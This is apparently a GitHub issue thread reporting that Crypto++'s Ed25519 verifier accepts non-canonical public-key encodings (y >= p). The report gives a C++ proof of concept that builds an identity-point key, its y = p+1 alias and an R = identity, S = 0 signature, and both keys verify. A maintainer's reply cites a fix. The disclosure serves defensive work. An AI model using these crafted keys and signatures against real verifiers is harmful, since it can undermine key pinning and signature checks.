Ed25519 verification accepts non-canonical public keys with `y >= p

[py-thok]

Hi maintainers,

I found that Crypto++'s Ed25519 verification path accepts non-canonical public-key encodings where the encoded y coordinate is >= p (p = 2^255 - 19).

The issue is in the current Ed25519 verification/decode path:

• xed25519.cpp: ed25519PublicKey::Validate() returns true unconditionally.
• xed25519.cpp: ed25519Verifier passes the raw 32-byte public key into Donna::ed25519_sign_open(...).
• donna_64.cpp and donna_32.cpp: ge25519_unpack_negative_vartime(...) expands the encoded y with curve25519_expand(...), but does not explicitly reject encodings with y >= p before point recovery.

RFC 8032 requires canonical decoding for Ed25519 public keys. In particular, the encoded y value should be rejected if y >= p. Without this check, multiple byte encodings of the same group element are accepted.

My local testing against the latest upstream master confirms that both:

• the canonical identity public key (y = 1)
• a non-canonical alias of the same point (y = p + 1)

are accepted for verification.

The security concern is that Crypto++ accepts multiple encodings for the same public key, which can affect higher-level logic that treats the raw public-key bytes as authoritative, such as:

• public-key pinning or allowlists based on serialized key bytes
• deduplication or cache keys keyed by the encoded public key
• audit/logging logic expecting a unique encoding per key
• cross-implementation inconsistencies when a stricter implementation rejects the same key material

Proof of Concept (PoC)

Below is a minimal C++ PoC. It constructs:

• a canonical Ed25519 identity public key (y = 1)
• a non-canonical alias encoding of the same point (y = p + 1)
• a witness signature with R = identity and S = 0

If both verifications succeed, then the implementation is accepting a non-canonical y >= p public-key encoding.

#include "xed25519.h"
#include "osrng.h"

#include <cstddef>
#include <iostream>

int main() {
  using CryptoPP::AutoSeededRandomPool;
  using CryptoPP::byte;
  using CryptoPP::ed25519PublicKey;
  using CryptoPP::ed25519Verifier;

  const byte message[] = {'t', 'e', 's', 't'};

  // Canonical encoding of the identity point: y = 1, sign bit = 0.
  const byte canonical_pk[32] = {
      0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  };

  // Non-canonical encoding of the same point: y = p + 1 = 2^255 - 18.
  const byte noncanonical_pk[32] = {
      0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
      0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
      0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
      0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f,
  };

  // Signature witness for the identity key: R = identity, S = 0.
  byte signature[64] = {};
  signature[0] = 0x01;

  ed25519Verifier canonical_verifier(canonical_pk);
  ed25519Verifier noncanonical_verifier(noncanonical_pk);

  AutoSeededRandomPool rng;
  ed25519PublicKey canonical_key;
  canonical_key.SetPublicElement(canonical_pk);
  ed25519PublicKey noncanonical_key;
  noncanonical_key.SetPublicElement(noncanonical_pk);

  const bool canonical_valid = canonical_key.Validate(rng, 3);
  const bool noncanonical_valid = noncanonical_key.Validate(rng, 3);
  const bool canonical_ok = canonical_verifier.VerifyMessage(
      message, sizeof(message), signature, sizeof(signature));
  const bool noncanonical_ok = noncanonical_verifier.VerifyMessage(
      message, sizeof(message), signature, sizeof(signature));

  std::cout << std::boolalpha;
  std::cout << "canonical_validate=" << canonical_valid << '\n';
  std::cout << "noncanonical_validate=" << noncanonical_valid << '\n';
  std::cout << "canonical_verify=" << canonical_ok << '\n';
  std::cout << "noncanonical_verify=" << noncanonical_ok << '\n';

  if (noncanonical_valid && noncanonical_ok) {
    std::cout
        << "PoC success: Crypto++ accepted y>=p non-canonical public-key "
           "encoding.\n";
    return 0;
  }

  std::cout
      << "PoC failed: expected y>=p key acceptance behavior not observed.\n";
  return 1;
}

Execution result

I reproduced this with the attached check.sh script in this directory. The output was:

Crypto++ HEAD: b5242667a24e3db8e4600e77b2e502ef204e5280
Crypto++ describe: CRYPTOPP_8_9_0-23-gb524266

canonical_validate=true
noncanonical_validate=true
canonical_verify=true
noncanonical_verify=true
PoC success: Crypto++ accepted y>=p non-canonical public-key encoding.

[noloader]

4775a16622df should handle the case of the small order public key.

Also see #1352.